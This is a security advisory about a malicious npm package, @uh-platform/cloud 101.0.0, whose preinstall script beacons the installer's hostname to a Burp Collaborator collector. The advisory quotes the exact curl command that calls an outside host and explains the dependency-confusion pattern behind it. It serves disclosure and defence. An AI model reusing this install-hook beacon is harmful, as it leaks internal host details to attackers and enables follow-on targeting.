@uh-platform/cloud

GHSA-g4jv-48fc-mhh2

Malicious code in @uh-platform/cloud (npm)

Details

**Severity:** Critical

**Affected versions:** `= 101.0.0`

## Source: amazon-inspector (83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451)
The package's preinstall lifecycle script (index.js) runs child_process.exec of `curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/"`, placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on `npm install` before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/6926bf8bfadfccf9e5be36eafde008a2b17caf3e/osv/malicious/npm/@uh-platform/cloud/MAL-2026-16358.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/6926bf8bfadfccf9e5be36eafde008a2b17caf3e/osv/malicious/npm/@uh-platform/cloud/MAL-2026-16358.json
- https://www.npmjs.com/package/@uh-platform/cloud/v/101.0.0
- https://github.com/advisories/GHSA-g4jv-48fc-mhh2

Compromised versions (1)

= 101.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.